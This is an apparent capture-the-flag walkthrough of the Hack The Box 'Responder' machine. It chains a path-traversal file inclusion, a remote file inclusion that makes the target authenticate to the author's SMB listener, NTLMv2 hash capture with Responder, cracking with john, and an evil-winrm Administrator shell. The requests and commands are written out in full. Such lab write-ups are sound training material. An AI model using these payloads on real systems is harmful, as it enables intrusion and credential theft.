This was a very fun box and I learned a lot. A little bit of fuzzing a parameter in a GET request led to the discovery of a local file inclusion. Which turned out to also be a remote file inclusion. With that knowledge I was able to trick the remote system to give me its hash which ultimately resulted in a valid username and password.
Initial Recon
Started with the standard nmap
scan.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Responder]
└─$ sudo nmap -sC -sV -oA nmap/initial -p- $tgt
[sudo] password for crimson:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-18 20:27 CDT
Nmap scan report for 10.129.83.175
Host is up (0.049s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.14 seconds
There are two ports open – 80 is hosting a web server and 5985 is hosting WinRM. Let’s start with port 80.
Initial Access
HTTP
Before navigating to anything hosting HTTP I like to start Burp Suite in the background, so I did that before navigating to the remote system’s IP. In the Proxy tab of Burp I set intercept to off so that I can browse and interact with the web server without having to forward every web request. Also, Burp has an embedded browser so I use that. Previously, I had used an extension for Firefox called FoxyProxy to proxy web traffic with Burp. But now there is no need for all those extra steps.
When I attempt to navigate to the remote system’s IP I get an error message stating unknown host for unika.htb
. I looked in the HTTP history of Burp to get more information. Sending a GET request to the remote IP gets a 200 OK response. That response, however, uses http-equiv="refresh"
to do a client side redirect to what is set in the content="0;URL="
parameter. And in this case it points to unika.htb
.
I added the IP and domain name to my /etc/hosts
file and navigated to the domain.
After probing around the web page I came across something interesting. It is possible to change the language format. When the language format is changed there is a new parameter seen in the URL.
For example, this is the URL when it is changed to French. The new parameter, page
loads french.html
. Can anything on the web server be loaded if provided the relative path?
With a little testing I sure can read a file on the web server. Local File Inclusion (LFI) is a success! Below is a sample GET request to read a file.
GET /index.php?page=french.html/../../../../../../../../windows/system32/drivers/etc/hosts HTTP/1.1
Host: unika.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Below is the GET request and the response containing C:\Windows\System32\drivers\etc\hosts
.
Now how about a Remote File Inclusion (RFI)? It is similar to a LFI, but now that remote system attemps to get a file from another remote system. What if I can get the remote system to attempt to read a file from my box?
First, I set up tcpdump
on my box to capture traffic. Then I craft a GET request that attempts to force the remote system to read a file on my box. And then just wait to see if the remote system contacts my box for the specified file.
And sure enough it does! The traffic seems to be SMB related, which makes sense. In essence, I am telling the remote system to access a SMB share with a file. But how can I take advantage of this?
Responder enters the chat
What is Responder? It is a Link Local Multicast Name Resolution (LLMNR), NBT-NS, and MDNS poisoner. But what does THAT mean? Basically Responder sits there and listens for the specified requests on the network. When a Windows machine makes a LLMNR request for a resource, say some sort of file on a remote SMB share. Responder will see that request and answer it. Responder will say Sure, I got what you're looking for! Just give me your creds and you can access that file.
. The unbeknownst and innocent Windows machine gets that answer, passes its creds to Responder, and ,unfortunately, does not get the file it was looking for. But Responder caches the creds which then can be reused.
A way to get a remote system to request a file from a remote share I specify? Check
A way to capture that traffic to get credentials? Check
Let’s get to it!
Start responder
and use -I
to specifiy the interface to listen on.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Responder]
└─$ sudo responder -I tun0 1 ⨯
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
<SNIP>
Craft a GET request that will force the remote system to read a file from a SMB share on my box as follows.
GET /index.php?page=//10.10.14.12/somefile HTTP/1.1
When the remote system attempts to access the resource it will authenticate via NTLM. At which point Responder
will capture that hash.
Take the hash that Responder
got and crack it with your tool of choice. I ended up using john
.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Responder]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<SNIP> (Administrator)
1g 0:00:00:00 DONE (2022-05-18 22:14) 100.0g/s 409600p/s 409600c/s 409600C/s adriano..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Now I have valid credentials and WinRM open on the remote system.
Priv Esc
WinRM
What is WinRM? It is a Microsoft implementation of the WS-Management Protocol. Basically, it allows the remote management of Windows machines that have it enabled. For example, PowerShell remoting utilizes WinRM to allow a user to run PowerShell commands. evil-winrm
also uses WinRM to run commands. All I needed was valid credentials and thanks to Responder
I know have them.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Responder]
└─$ evil-winrm -u 'Administrator' -p '<SNIP>' -i $tgt
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
responder\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>